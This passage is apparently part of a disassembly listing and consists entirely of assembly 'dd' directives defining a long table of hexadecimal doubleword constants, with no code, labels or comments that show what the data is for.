		dd 517302h, 28FE9418h, 902A8D0Dh, 5D80A499h, 0CDBB863Ah
		dd 0B5500DAh, 0E3E53903h, 7B096566h, 92AC9AF7h,	5988409Ch
		dd 13CA8084h, 0D825FA30h, 4D41D7BDh, 970C448Fh,	64815F15h
		dd 1E05E570h, 394C117Eh, 1607C85Fh, 143ABA01h, 15D5C3Fh
		dd 78B3BC7Ah, 28876799h, 0A21A3BC4h, 0A0605DFCh, 16886088h
		dd 331E0542h, 82C9158Eh, 0A11047DCh, 0B1D2B5h, 0AE810DB2h
		dd 5D0037A2h, 0D0E41186h, 4C82C39Dh, 751010DDh,	7BCE0633h
		dd 62D01B9Ch, 7D6DD4E5h, 7019C841h, 9E00FA90h, 141A319Bh
		dd 90B71D39h, 226312D0h, 10DC4038h, 15C8FB89h, 4881F098h
		dd 0E447704Dh, 60D1C500h, 0C346E51Ah, 1B1E0019h, 0B806B5C2h
		dd 749A8B99h, 344C180Ah
		dd 88ACE405h, 80167460h, 75DA3AC0h, 9ADF1D00h, 4E69EAE8h
		dd 5106AC1Fh, 99D000BCh, 3C390541h, 0C350C1BAh,	35ABEF4Dh
		dd 9E09F994h, 7992B319h, 8175F008h, 0A39E4FCCh,	1AB9804Bh
		dd 3DFF0185h, 5FF400CFh, 0EBCE4205h, 40B1344Bh,	723BC603h
		dd 0F41158A4h, 61A1601h, 3446EF41h, 98B972C8h, 8D855F00h
		dd 208F1A2h, 545C89C5h,	0A6090F6h, 8614B14Ch, 86F02C3Bh
		dd 39BC72h, 0E3D64171h,	0A1C562DDh, 90FF8600h, 8FBCA715h
		dd 29D06F6Dh, 0D4443689h, 33F109F7h, 1E34B1A8h,	4009F135h
		dd 0C3343BCEh, 24B2EBBDh, 8EF23F01h, 0C80F7C63h, 4E040429h
		dd 87464D48h, 4F1C9048h, 16098644h, 2AE1587Ah, 0BD08E468h
		dd 0C3813E32h, 8C3A5AF4h, 0BF307009h, 0D2454C0Eh, 9F88B882h
		dd 5EF0A80Bh, 93CB0088h, 5729F1EEh, 0DD701113h,	0FC854600h
		dd 752B9C79h, 1FF91ED2h, 48439942h, 3414102Ah, 0E0FD269Dh
		dd 6461EE3h, 0B94AA34Fh, 1B0048F6h, 69662ECh, 0EE0CFC04h
		dd 3F4B26CAh, 0DFAD4028h, 6A828489h, 3CB4A410h,	44700825h
		dd 618F10B2h, 0E513BD60h, 41B53003h, 4A0279DFh,	0A3482048h
		dd 7B1487ACh, 3B7ED4Eh,	0DCB094F2h, 0E197980Bh,	0D52F02A2h
		dd 66514BD1h, 2E446050h, 33450E70h, 0AEA0E52Fh,	0F40AACA4h
		dd 0B8666D05h, 0CCC43BBFh, 9989986h, 9F0F413Ch,	0F785782Fh
		dd 0F2BC0B07h, 90427C13h, 76BAC404h, 7C0F5018h,	402F8988h
		dd 2D26D947h, 0B98F0450h, 0B4AA060Fh, 7689340h,	205E3ED8h
		dd 0BCF59BDAh, 717C02E8h, 1B80C0Eh, 4190FA80h, 0E8755B10h
		dd 0C340FC43h, 0A005AC87h, 1BD4C8D1h, 0BD359602h, 60DAF0D8h
		dd 29CE154h, 0D0BF16CEh, 0C068D511h, 716FBD4Bh,	0CD6B8780h
		dd 6041938Fh, 0C86F5A94h, 820E7442h, 0C133C984h, 0E5D3BDDCh
		dd 0DF5AD890h, 97893105h, 0CF435F89h, 254C3859h, 24BC0306h
		dd 6B96D777h, 9BB48129h, 46128C51h, 0D0649F31h,	195B1877h
		dd 99339845h, 152A08A4h, 0AC85B8C7h, 40793E3Fh,	33D20E34h
		dd 0E85895F7h, 89303E2Ch, 185A796Fh, 6A3B7E7Eh,	20582161h
		dd 99E888ACh, 0A83E7E16h, 5463CC18h, 313B8C59h,	0CD717B31h
		dd 84EF00B8h, 72DF86Eh,	437ABA38h, 0EC691F89h, 784A3500h
		dd 41C1015Bh, 0DE6D999Dh, 0BAA1AC51h, 36302422h, 92C1CE08h
		dd 76E8DD7Ch, 807A3C38h, 0B694D153h, 31BF2D78h,	0F4B9FDB0h
		dd 0BA4C40B3h, 0FCB22EA3h, 4B9C8E12h, 0F056D4C3h, 429210h
		dd 0B2A45C78h, 0E0B3EF06h, 61151C00h, 9BA2DD28h, 0BF1E0062h
		dd 95C09342h, 0D05849DAh, 0E3F90919h, 32DA0110h, 20D8AC64h
		dd 0E3C35C7Dh, 55F3E600h, 0B27BFB82h, 1EE51C01h, 0F469BD78h
		dd 0CC764082h, 100E2E4h, 16C0F32h, 997CEEBAh, 0D8F908DBh
		dd 46009C31h, 0F248A69Bh, 907872h, 8DFA8656h, 0F520CCA1h
		dd 0F3BE1000h, 0B46C0E48h, 0C88248EEh, 0FDAA0491h, 58E3F850h
		dd 5EE84Ch, 0C07D1DBAh,	0EEC102AAh, 9C295Ch, 8417B149h
		dd 0BD9E1Ch, 0CD58F927h, 0A8BFD1A1h, 47CB2218h,	0B2B040h
		dd 689DE82Fh, 38C3F914h, 0BC749C38h, 2AE500AFh,	290ADED3h
		dd 3DF70242h, 10BAF008h, 7B366600h, 0E452000Fh,	181F68EFh
		dd 9C0055A2h, 1BADA3DAh, 0A966E6h, 8EBD27B9h, 0EF0851E4h
		dd 0C222E900h, 57367F85h, 0ED520105h, 181AD5B9h, 763830A0h
		dd 0D0759491h, 7600F389h, 1DC0750Ah, 68C3AEh, 56A1F8EDh
		dd 0AF4C9D9Ch, 72C24800h, 0BE95A29Eh, 74E7071Fh, 30F523C7h
		dd 374F47E3h, 1273A900h, 27FB3C3h, 1AEE00F3h, 0D6524EABh
		dd 0EB03BD01h, 84C9C80Fh, 0CDDBF859h, 23A71E27h, 84906E4h
		dd 0E90040AEh, 0F8EBDEB3h, 3AC51AABh, 18E398A2h, 31B89A25h
		dd 0F639FCF9h, 0F4E405DBh, 0B0A0CDC4h, 1F73006Bh, 0EBDD96EFh
		dd 142CABE6h, 7ED58C5Eh, 0D9CBC100h, 0B0FE3242h, 0EC200E05h
		dd 0F680ACC3h, 0B19C145Fh, 0B94920h, 30A76742h,	8ACF4D87h
		dd 0F71FD590h, 73408810h, 0E908F237h, 0B89C00C2h, 2E9FEDF0h
		dd 1000D5DDh, 25E476B1h, 0FEB996h, 156C59B6h, 21A3EF1Ah
		dd 4C4ECE07h, 1BD0A70Fh, 0E9689FFCh, 2960F8h, 0E044AF9Ch
		dd 9425F311h, 0BD95A600h, 204BF2FCh, 0EE200F0h,	107221CEh
		dd 0E900735Dh, 59DB97E7h, 0B54A1F1h, 0D311519Fh, 4F18AC04h
		dd 0D8CD4790h, 88243925h, 0C0FE046Fh, 388902C7h, 8B1A00A1h
		dd 0E5066BC5h, 0B6296A69h, 5634A7h, 0A957192h, 3B6ACDD7h
		dd 6B02C372h, 0A9D9BA56h, 9C1CB83Ah, 106A611Eh,	6C0DAFD3h
		dd 0DF7B00D0h, 444F3741h, 36C102B7h, 53EF31B8h,	0CC222CF2h
		dd 437904AAh, 0B87583F4h, 0ABE0334h, 2FCBC948h,	0B820B138h
		dd 9984D741h, 785D4B01h, 0F7EEC34Dh, 814A1C4Ch,	7A86DCEh
		dd 95BB63CAh, 6ABFC130h, 0F48B61Bh, 5998A185h, 380114DEh
		dd 0B2EA35CFh, 14783DBDh, 7C44405Fh, 0D51437ECh, 65168701h
		dd 523845B1h, 8F844891h, 35168111h, 70CB312h, 0E97B88h
		dd 7F279A37h, 9B41403Ah, 9047DB2Ah, 0EBBE1F05h,	0AC40BD6Eh
		dd 0DD99C5D9h, 7A720B3Fh, 0A8613453h, 0F421808Eh, 31CA99CDh
		dd 0FD5C0063h, 15BA2448h, 9405278Ah, 684983D3h,	0A458C4Fh
		dd 9C8CA41Fh, 0A9910Fh,	4787B26Ch, 296F62C9h, 1CAC8B01h
		dd 9F3C79DAh, 3901947Dh, 0C3E64C45h, 91B841C8h,	32C5280h
		dd 6C278620h, 99260A16h, 84FC4BA3h, 0BDA863C5h,	4A831054h
		dd 175FDB00h, 0C8AC9D32h, 68591630h, 1ECF168h, 0C7068E80h
		dd 58EFBE1Eh, 9908D188h, 0C4924019h, 0D90840E2h, 2D5699h
		dd 0D49A60E5h, 80B1F0B9h, 0B0C1A57Bh, 0D070DF41h, 5BF8032Ah
		dd 18007DF9h, 4A13F48Eh, 687688Dh, 0CFC6B3A7h, 12203099h
		dd 0B8ED09C5h, 0A8D2BED9h, 0FB23D700h, 0DA64D216h, 0BF65F5Ah
		dd 0ACC0DB28h, 0FB001892h, 0CC33DE70h, 6E29848h, 5BCFDD61h
		dd 236391EDh, 0BFDE53F2h, 0F8850D03h, 0BA3C83h,	0DF9DF67Ah
		dd 351B47E3h, 8490D74Fh, 6C395B78h, 0EB3E40B6h,	9A3BD907h
		dd 6FC23C4Ah, 0C7B0809Ch, 0A0727CC5h, 209992BCh, 0C63FA417h
		dd 0F4680086h, 4E0F9B1Ch, 0C4511FCCh, 15AF00EEh, 8E042587h
		dd 0B6ECB306h, 3C70742Bh, 0B824AA0Ah, 0A0E20878h, 24381760h
		dd 22224635h, 0EFC90F11h, 0B6004D37h, 0AF258069h, 0B8CB3C03h
		dd 231806C4h, 1501E050h, 32351A38h, 908B1818h, 0E937EDh
		dd 7DFA1155h, 0C002819Ch, 43DEF715h, 0B0404FECh, 0D4AE95F6h
		dd 0AB1F06E5h, 208D45D7h, 0E8A12125h, 0F23214h,	36A4A5A8h
		dd 7563670Ch, 0ACFB280Eh, 424F806Fh, 0A652516h,	244BECCEh
		dd 0CF190F94h, 0EFACF100h, 2048EB6Bh, 1E923DCh,	401B99C3h
		dd 805423C2h, 6599CB0Ah, 58D303E8h, 0C02E943Fh,	0B5FD5BD0h
		dd 0F4CF3580h, 8AF780C5h, 25983F4Ch, 0B4EC40DCh, 0A3C2220Fh
		dd 9F0F402h, 2A92D248h,	0FE6906C4h, 340311B8h, 398A96FCh
		dd 54483D63h, 0ABE888CAh, 5BD449C2h, 6545421h, 194FA39Eh
		dd 92430D00h, 0FD424B19h, 0BED07D3Fh, 27C010E4h, 0E658C448h
		dd 0D75930C7h, 91061618h, 0F8AF2F26h, 0A4D2EC42h, 0CE41473Ch
		dd 15F2913h, 5C50CD38h,	60D33924h, 0D01640A0h, 5960F163h
		dd 0A5DF3328h, 168C0E3h, 74F63B41h, 0B2581200h,	25E4BCDh
		dd 0D5C20C0Ah, 11912DC7h, 0F2BFB900h, 0E9715C72h, 60909510h
		dd 93EA3ECBh, 0F0D55E00h, 52DB5805h, 73F204DDh,	0E8BD2046h
		dd 0EE768F70h, 0BF389835h, 0C1A930D0h, 65B51019h, 6C043499h
		dd 1CD24A5Eh, 0FBCF30CDh
		dd 0C4D21211h, 0F0E3A29Dh, 6503E0FBh, 0D8D4CD9Dh, 36DC30Fh
		dd 37DB4E1Ah, 4CB8121Fh, 0A501AF82h, 0DF352217h, 8882B915h
		dd 0DC7AAEF1h, 5E79D460h, 2A45BD80h, 8AC76D2h, 0A98B9912h
		dd 0CB8AC31Fh, 1401CCE1h, 0DDC5AF33h, 0F04648A5h, 60A3C93Dh
		dd 2B6993C1h, 8D940155h, 2E018608h, 785EEE91h, 2952BE0Ch
		dd 9E310535h, 0A848CB94h, 0B5820284h, 603BF7FBh, 4EDFC3Ch
		dd 0CFABD5E9h, 1CADC6h,	7397CF1h, 98B8CC4Dh, 4D67F854h
		dd 10600435h, 0DBC6E8ADh, 36595C03h, 59B9F30Ah,	240B34A8h
		dd 28101B77h, 190056BEh, 0C2C3D07Eh, 0CCDBBADCh, 20215769h
		dd 0FD7DE100h, 0DE8F9C38h, 6B6100EBh, 5877C78Dh, 0E8A57F29h
		dd 0DD60AE02h, 20D44479h, 78312D91h, 0E07D1044h, 0DC481862h
		dd 127DD11h, 34DB6844h,	88207D6Eh, 5F05FD7Ch, 1740BAE8h
		dd 0AA4DB100h, 3AE642A4h, 120AEEFAh, 631F5463h,	0E8E0F67Ch
		dd 8513BCE6h, 7C4ED715h, 9EA20045h, 623F55C1h, 0B39C60D6h
		dd 7ADDB068h, 27BF1C00h, 732808C0h, 17C700A0h, 912CF4CEh
		dd 397072Bh, 0F416F078h, 7DBEC88h, 2CF69720h, 5037D0D1h
		dd 180B293Ch, 9DA324C4h, 8791115Ch, 6770AE62h, 25413C8Ch
		dd 0CE0507Fh, 0BE6C1C21h, 430658B8h, 99C6026Fh,	317A3FDEh
		dd 0CEF910E0h, 0D2BC0099h, 0F6C80B40h, 830E5C14h, 0F3FE681h
		dd 0B1ED216Ah, 13B8558h, 0ADCFD5B0h, 30B43424h,	3BD2A0A0h
		dd 72E40597h, 0BD016C6Ah, 2510A757h, 0F65BF08Bh, 4876450Eh
		dd 49D0979h, 0DD60C750h, 0C323C47Dh, 5111E2h, 0B58A851Ch
		dd 0BFFBB0h, 6EAE5004h,	8963F80Fh, 68D1415Ah, 5440F745h
		dd 0B93FF86h, 7AED83D3h, 850CD499h, 0CB313C21h,	7C2408D1h
		dd 80ECE891h, 3FDC99C4h, 0F70087CAh, 1DA099CCh,	0B22C0020h
		dd 4E47FB34h, 0F04C715Bh, 141F0FA0h, 0A9D90B7Ch, 11F49D54h
		dd 4F2F8011h, 1D7E9C2h,	978A99A1h, 40CB45DFh, 901B3954h
		dd 0D8626D2Ah, 8FC46485h, 5B6E1B60h, 0D95FA80Eh, 6B02AF17h
		dd 7EB40104h, 126B8B89h, 0F1B0E4FCh, 0BCA93801h, 524BD201h
		dd 93E3464h, 9E08DF9Ch,	0AD867480h, 0A31FFD40h,	0C80014D5h
		dd 0B620CECCh, 24ED5CA2h, 0BF7D3003h, 2050CF4Ch, 6329C4C0h
		dd 3D19404h, 0C4002818h, 6EA78640h, 0B59F972Bh,	54870C20h
		dd 7579D7C2h, 0E019032Eh, 64674h, 0DAE9CCA9h, 59D73398h
		dd 0ED16A8E5h, 411804CBh, 4BCA01DEh, 884301FAh,	0CB89E1ADh
		dd 0C9871883h, 0C7A216CCh, 0D0DDFC60h, 10B5E0E8h, 3BAD8A48h
		dd 3F44CA45h, 0DF13EB1Dh, 0CC7ABA05h, 52554CC2h, 0C50220E0h
		dd 0EE3EC700h, 0B6B016EDh, 174C7C6Dh, 9D1C69Dh,	904865A4h
		dd 58B8954Ah, 272E2D21h, 639E90C8h, 0E0B43A13h,	9DB83800h
		dd 61CCBDC7h, 36861065h, 0FC545Ah, 415715E8h, 0D256D37h
		dd 0C9B010CAh, 3C6C5CBFh, 170A1C10h, 30104413h,	71BF3108h
		dd 51975D16h, 13E7034Eh, 0CC0E45FEh, 8276FA40h,	84CEDD31h
		dd 1860E1D4h, 35252338h, 4C8C160Ah, 0F63BCBC8h,	0E471E893h
		dd 8A004140h, 2B874F1Fh, 7B62587Bh, 141C00C4h, 6A421EADh
		dd 6F4A055Bh, 35FF1C41h, 9DDC5603h, 0E6E00373h,	1560C13Ch
		dd 0D7D24BC0h, 0B8C0D48h, 0A3CF898Bh, 0B9420720h, 0D9B82B34h
		dd 0E68014DCh, 0C1EC094Fh, 0BC814E00h, 149D18E0h, 6DDC02EFh
		dd 0CE7AE57Bh, 5F3AB4E8h, 2827A324h, 22CC908h, 62BD7B78h
		dd 9DD7F8E8h, 48CCD840h, 0B458A363h, 1930C7E2h,	0D21411FBh
		dd 219F8C34h, 0FBCE0090h, 7B432FC7h, 39FCCC0h, 0EDB8EC24h
		dd 0FBD02420h, 0FCD123EDh, 0B700A211h, 7CC0FBC9h, 9A2ECCAFh
		dd 0DF0458E6h, 38908F31h, 60A61F76h, 90053149h,	3701B791h
		dd 0CCA2C1CAh, 12F02517h, 0A13D042Bh, 0F8C4653Bh, 8C08CA88h
		dd 8E2D08h, 0B7F5E4EFh,	209FA022h, 0D5FFA9F0h, 96630013h
		dd 0E23A5199h, 0CE009F8Eh, 0AC6D467h, 1BF83D2h,	48B34A3Dh
		dd 609CC25Eh, 6E43F0B0h, 1899D002h, 0DB316A40h,	99D80B10h
		dd 70D09717h, 46513409h, 3C482E80h, 9D84818h, 0C912729h
		dd 0C162C014h, 402ACD71h, 8CB9B415h, 86B9A070h,	0E77F2807h
		dd 5B0040A1h, 2EC5C32Fh, 7C18AE07h, 6301D846h, 0CB6C33F6h
		dd 55B441A2h, 4F1008Ch,	59C37645h, 0BB0108E7h, 3D4859FDh
		dd 0AFB31022h, 0D2DB5E0Dh, 0A8DCBD8Ch, 22395C0h, 0D1D60031h
		dd 38280508h, 221D7B47h, 1909CC4Eh, 9F549046h, 7D24031Ch
		dd 0DB77103Ch, 5470399Ah, 0D4EDD8CAh, 17999FC0h, 85624340h
		dd 54C0C7FEh, 27C1800Ah, 1C015755h, 241F314Ah, 4871B6DCh
		dd 3B961C9h, 3026BD58h,	0EA4963C9h, 9D627F91h, 58B8D930h
		dd 81C875DCh, 0F29422EDh, 0B8B309Fh, 94272302h,	697183CDh
		dd 0DC299EECh, 9100F5B8h, 0D6AA2F8Eh, 1F8D8C42h, 7D63D1C4h
		dd 2A04805Ah, 0B0F825h,	5CA19094h, 86B8DB70h, 72541A00h
		dd 4BBA7CE6h, 3E51076Dh, 648A3417h, 82F0D166h, 0E3C9D822h
		dd 705FF72Ch, 0C57BCE41h, 3B3E506Ch, 83602AACh,	0AD898652h
		dd 0CE802940h, 7E18048Ch, 62FAC39Fh, 0E41D2053h, 5AF8967Dh
		dd 3494EF70h, 0AA5FEC00h, 2FCF331Ch, 0ACE828C9h, 25815EC5h
		dd 0F004E06Dh, 0E02D5BCFh, 367BC4A8h, 0D8F0A150h, 47F4F48Ah
		dd 32846008h, 0BC1FF48Ch, 780064C1h, 2366EA05h,	15A618BDh
		dd 69365945h, 383E170Fh, 9C503946h, 0EDCD00F2h,	413EC4C8h
		dd 37C213FFh, 13F0F8F1h, 886068A1h, 0CF274F24h,	90112535h
		dd 0DD5BD4DCh, 0C6284960h, 0A0D06C36h, 80E889A8h, 3A228677h
		dd 90A35B65h, 164F8560h, 8F276D71h, 0DB64109Eh,	79B300ADh
		dd 0E54B8CC7h, 6CB17E3Ch, 5008EA93h, 0FB22C0D8h, 6C46D217h
		dd 91009D22h, 5D37FB1Bh, 2C593D0h, 0C7353E58h, 0DC689215h
		dd 29FA635Fh, 2C408A2Eh, 0C82084C2h, 2F197384h,	5017C7F6h
		dd 9B811891h, 2A6ED1C0h, 4AE7C490h, 9E1D03F8h, 114BE105h
		dd 258E02C0h, 10088D4Eh, 65CF13D3h, 0F174A2E4h,	2B0CB99Ch
		dd 3E740B00h, 8681CFCEh, 0DDE2CB61h, 0A40C0CD2h, 18B74D30h
		dd 30D54197h, 0F52C9978h, 7A0A087Ch, 81AFC72h, 0EDEC1191h
		dd 0A3C8C44Bh, 64857C1h, 680E547Dh, 4E8998C1h, 60C9B404h
		dd 10C67DDFh, 0C8DD92C3h, 8776802Ah, 0D03BCC8Ah, 53715B12h
		dd 0DEF74001h, 386CD605h, 0C4F48BD3h, 5830B9A2h, 0B4609F59h
		dd 0AB3B57A9h, 6F421E1Dh, 0BD04022Eh, 0F4C4A116h, 83115738h
		dd 0F12C215Ah, 340DB893h, 0C8A83D1Fh, 0AC540E00h, 45CC101Ah
		dd 0A440CA5Ah, 7C3EC422h, 20080B90h, 4A14DCDh, 0EC60B236h
		dd 23BD3286h, 0F49A33Ch, 0BAFF71A1h, 7B0F59A0h,	75773CA1h
		dd 1FAA7700h, 70224ABFh, 82CB003h, 0A4A399B6h, 7F202C28h
		dd 0B29C30BBh, 8C7286D9h, 565FAA00h, 11BFEEF0h,	3AB04E73h
		dd 1D2F2388h, 89720C33h, 0D80086E1h, 18FB9C48h,	109B31Dh
		dd 5EBD4B2Fh, 0F684F66Bh, 7DBB38F4h, 6FD1CB01h,	8BA247E0h
		dd 387306C8h, 4E009F0Eh, 1575E58Ah, 535ED0CEh, 23ECC410h
		dd 0FB8F3FCCh, 3876D213h, 0C704B518h, 8FC8FFFBh, 0F32C5F80h
		dd 4CFE8E6h, 51DF3348h,	1564A427h, 0AB37C40h, 0D13D4BF6h
		dd 497A598h, 9890A91h, 1024A041h, 9C7F795Bh, 74676C0h
		dd 2BEF8502h, 20D2A017h, 0E6C67F00h, 10935E29h,	0C8400C4h
		dd 1C1337DFh, 950517D5h, 0DBB7D19Dh, 38696CA1h,	2DD95801h
		dd 796E0A2Ch, 0C44A2200h, 367A5A8h, 9EF1DFD5h, 83F404C0h
		dd 0F40A2D99h, 418A9260h
		dd 0F0D29C1Ch, 0DCC12044h, 4405F118h, 42DEA468h, 1FBA226Bh
		dd 17313D3Eh, 0E08033B1h, 0E42FD95Fh, 0EF000523h, 4862466Bh
		dd 34070D4h, 21B55CBEh,	0E81708A8h, 3F02F439h, 0AE305583h
		dd 240ED164h, 472AD791h, 9BC50699h, 0CA31380Bh,	0C9C207Eh
		dd 0FF827187h, 4AF4E0B0h, 0DA4C3CC8h, 0F95F00C7h, 2BD9804h
		dd 4BFA1725h, 0BBA8460Dh, 0E60B3876h, 0C06F5A60h, 91AD86BCh
		dd 182DD1B8h, 8EFF0048h, 4F80FF0h, 0FB354114h, 5C8EB8DFh
		dd 8EC12D88h, 0C6FECF6Eh, 205A00F8h, 9BB4B375h,	54004E0Ch
		dd 0ADDF7E9Fh, 5035E7A9h, 7646F05Bh, 2E1F4F49h,	0E023F4h
		dd 0DE325127h, 0FC003D94h, 240CF39Dh, 97D69ADh,	0BDB9C3A0h
		dd 311041Dh, 0FDC73FC0h, 54002D34h, 4802B208h, 4A3924A6h
		dd 4DF0D0BBh, 88B2AF03h, 1B9C410Ah, 1A91A048h, 0C37DDC83h
		dd 0CBDDB48Fh, 88190180h, 4BCF058Ah, 3D8C882Ah,	85E98439h
		dd 0B7D22BD4h, 2E067880h, 0D8C260FCh, 8901AF35h, 103BAC91h
		dd 91880656h, 0EF99CA83h, 64B050D6h, 1CB2496Ch,	815F891Ah
		dd 3E245470h, 390B6C3Ah, 4430E449h, 7F8DCF4h, 0A5A3F9C4h
		dd 208384A4h, 33087B05h, 0C203DCFh, 0B939CB10h,	224918C4h
		dd 453B4F28h, 9C11E3C8h, 0CCF90309h, 0E02A1889h, 313EA0AFh
		dd 78D4D45Bh, 783D1EF0h, 0D8E20520h, 0E2DFD02Dh, 0B7DE10B8h
		dd 9EE83058h, 0E6EA008Ch, 2F126B2Ah, 0BA02232Bh, 0D641060Ah
		dd 50025D8Ah, 0E070175Ah, 0E739BC12h, 75CD64A1h, 1670E889h
		dd 0E0E4C0C5h, 0B245B360h, 0B4C9CC07h, 0CDD283FAh, 0A1CC809Eh
		dd 0B16ED506h, 0D61F8Ch, 610267C8h, 35001F7Dh, 0EE06DDCCh
		dd 77CDA5CAh, 1409C83h,	5BD23BD0h, 44007FEDh, 0B5825296h
		dd 0A2EB4B2Bh, 0A8D900F8h, 0E153AD1Ah, 44EA5Bh,	80979661h
		dd 161B8F34h, 0B35A3D00h, 8B58F31Dh, 7F8D0082h,	0B594D93Ah
		dd 0F0018E3h, 231E78D0h, 9014AE4Fh, 0C02D1774h,	63242902h
		dd 302EA2D4h, 4F7EAE52h, 154B349h, 5BD1B080h, 9D004B59h
		dd 70593A43h, 504C4C50h, 84948074h, 0E4E44525h,	0D0EA608Ch
		dd 8A483E2Eh, 0DC73585h, 13F092ECh, 0B7A74456h,	246200E8h
		dd 35B7797Dh, 0E361D712h, 52B9E021h, 8873BC23h,	4E014439h
		dd 0F73578CCh, 184184D5h, 0BE004909h, 4A26520Fh, 84264631h
		dd 0CE8EC380h, 0B878CFE9h, 8D952750h, 29591C23h, 0D741C004h
		dd 0BCE99826h, 0C1059FB2h, 183C648Ch, 68A36F89h, 59144DC7h
		dd 7F46950h, 5DF114Bh, 200F4547h, 0CE36C0E6h, 3DD72EB5h
		dd 64DC9D00h, 0D32AEEE8h, 0CA0F84A0h, 48BF46h, 15F48085h
		dd 0A9870469h, 314BA41Ch, 16805AD4h, 0C0322BD5h, 441220C0h
		dd 8B494DC3h, 204A26D4h, 71A5D851h, 1991C817h, 0C165F981h
		dd 3BC8845Eh, 11524454h, 86232CD4h, 0D0381300h,	86B30235h
		dd 0EB7D10EFh, 2A300037h, 9B73819Eh, 175CDABCh,	0DF7914FCh
		dd 0F3BD8EF8h, 28D4F032h, 9EC308C8h, 181D942Ch,	1519121h
		dd 59507648h, 8C5A7022h, 0F3FA922h, 2A1CD1DDh, 1435AC88h
		dd 4824A1CFh, 0C85F6510h, 121293CAh, 1010E2A6h,	0AEC8DBB8h
		dd 543140B1h, 8688D50Ch, 0F10993Eh, 9DFF6836h, 0C868E5AFh
		dd 465E815Bh, 0B125204Fh, 8B34127Dh, 108C3FD3h,	5596D949h
		dd 0A3108CB4h, 2287BC97h, 2B116BDEh, 0B02347D7h, 93412783h
		dd 0D08800A5h, 62FE062Dh, 329835Ah, 72C2C86Eh, 50C1225Fh
		dd 0FD787620h, 0B088D25Ch, 8140A93Ch, 0B702FF3Ch, 0A3DFB485h
		dd 30A3E2E8h, 4B16CD88h, 70916219h, 76022E35h, 0A77880Fh
		dd 49FCCB45h, 0B422A87Ch, 1D8839FBh, 0A7802EF7h, 0DAE19D55h
		dd 80EE0034h, 0F3F9B43Fh, 702EB29h, 58745E18h, 0C4084861h
		dd 5ED09616h, 80B99E21h, 0DC62C063h, 10974429h,	0E01A390h
		dd 0D50308E7h, 0C9138E20h, 94B69CAEh, 0D9C87080h, 5650E4h
		dd 0AFDF58ABh, 0F2FA3476h, 5F137D75h, 0FC6BD014h, 0E0001123h
		dd 0C0AB93DFh, 4B160061h, 0C5C6072Bh, 0DCA0ACEBh, 90B0BDC3h
		dd 0DE0FC446h, 8AC8C57Dh, 1B4F2DC4h, 3550429Fh,	0A0627FFAh
		dd 0A01475h, 0C3D6A1E5h, 0EA6A668Ch, 8C1C700h, 0C5CC0CDCh
		dd 3EF40B5Bh, 0C6871CBh, 6A002CD4h, 253C878h, 767FE3EDh
		dd 438201ABh, 16C0B131h, 9800942h, 34C9A6CDh, 0CCA8CB8Eh
		dd 330C5224h, 59846FB6h, 711B003Eh, 6B6A0191h, 0B200203Fh
		dd 1FD27EFCh, 4EC8C50Bh, 450C8CCh, 0B6F72430h, 6457511h
		dd 14C6CFA6h, 6F5061D2h, 12002370h, 43CBC5A7h, 0D2C697h
		dd 0A9F781FAh, 38D3A5F8h, 0CD55F009h, 0ECE4054Eh, 2CB084A6h
		dd 0C305BD29h, 1C5F6207h, 37870C1h, 3DBF1F00h, 0DA4EFA00h
		dd 155B7C2Ah, 48509A4Ch, 5048CEAFh, 0F817162Fh,	6D809191h
		dd 0D2AAA590h, 822F753Bh, 0F7413A83h, 0F91CEAE9h, 602B00F4h
		dd 79A74EBFh, 0B5520300h, 0B55C182h, 0CFA8C906h, 50DB0C84h
		dd 0DCD1C0A0h, 71D2A5F7h, 9ECD4854h, 9DC6790Fh,	6C0EDA0h
		dd 0D712EE2Eh, 0F4808D5Bh, 4B8BC1C3h, 23AC2FD5h, 75D70004h
		dd 17A4A80Eh, 81F73C00h, 0B7ECB5E4h, 37DB00CCh,	9EBB14E7h
		dd 0D001CE22h, 7AB23C87h, 0B180906Fh, 0CDA30B5Eh, 0A60F1DDFh
		dd 20267B12h, 1449B1D6h, 0FE4B01BEh, 35C16327h,	45862AFh
		dd 7E6D60AEh, 0CB6BBF03h, 0D70533D8h, 94DA1E4Bh, 0C62CC4C0h
		dd 1E24C53Eh, 1811DCBBh, 0D17E1A80h, 0DC5BEAC3h, 31F4028h
		dd 6457E16h, 5900DA72h,	87868B96h, 2F7C0Dh, 33013153h
		dd 4367B5CBh, 0A59F539h, 0BCDD4AC2h, 0EE808711h, 1A35D137h
		dd 38F63087h, 95055191h, 1CD37A3h, 848E9465h, 0ADC01188h
		dd 54DC74h, 0C5431762h,	0F9E91C2Fh, 0A6D89503h,	88C3338Ch
		dd 9618CC35h, 364E0204h, 24E08305h, 0CA81E24Dh,	83576DE0h
		dd 0DB61F7E0h, 0C905E8B2h, 0A17A2302h, 30036CADh, 793CC8E1h
		dd 7C1972D0h, 8CE7F807h, 1E81C76Ah, 0CFF8D924h,	25CC12CEh
		dd 0F11C0040h, 82991437h, 0F6891002h, 0DBB74CE8h, 0D1077050h
		dd 2040CF5Ch, 4724A27Ah, 60A24428h, 2C0573CFh, 0A4F8B391h
		dd 0E00B13FEh, 56FE12D8h, 2E4CB8C0h, 0F8393Ch, 0FBDED71h
		dd 0CB0809D0h, 0F584F401h, 0C8DD030Ah, 0CC905FE2h, 3E007A2Fh
		dd 82963894h, 2A9B51h, 0B2FD327Eh, 37CA13EDh, 5FAFFC24h
		dd 0C5C7D300h, 2E6AA078h, 1CA81A4Fh, 0DC0EA0D1h, 0C6C14EB9h
		dd 9699DE4Bh, 0E43D2584h, 0AB09B800h, 5C1D2C3h,	0B7E7B198h
		dd 0B28C475h, 4491A314h, 0E8F0D866h, 5C0043FAh,	707F659Ch
		dd 1DE5DD6Bh, 0FE6C2056h, 5825C05Ch, 0BC59D8E2h, 3B188D79h
		dd 8002C34Fh, 626C454Dh, 0DC24DC44h, 65596407h,	40A73AB8h
		dd 3E82A400h, 7EB5037Ah, 0BA3C47A1h, 0C19E5105h, 0D8E0173Fh
		dd 0F59B01C3h, 0BF9112A2h, 17B879B0h, 0B4D2BEDFh, 0CA5C4B84h
		dd 3B90A045h, 6E1BB3h, 0DDF03137h, 0FABD4A97h, 98C42C0Eh
		dd 393F6181h, 508EB22Fh, 3A937C11h, 1807231Ch, 2BAEA4B8h
		dd 856D331Dh, 0CAEE2300h, 25F73B15h, 0D44484B1h, 9030D445h
		dd 49D74B94h, 0E02F34h,	37E2485Bh, 0A03E81C0h, 694113BDh
		dd 0A437E16Ah, 4DC38BBEh, 0D750E39Bh, 835C0549h, 0BDE0D8B1h
		dd 0D6703DBh, 0B67FA8C7h, 0F2D0A2F5h, 1CEB3053h, 5243F509h
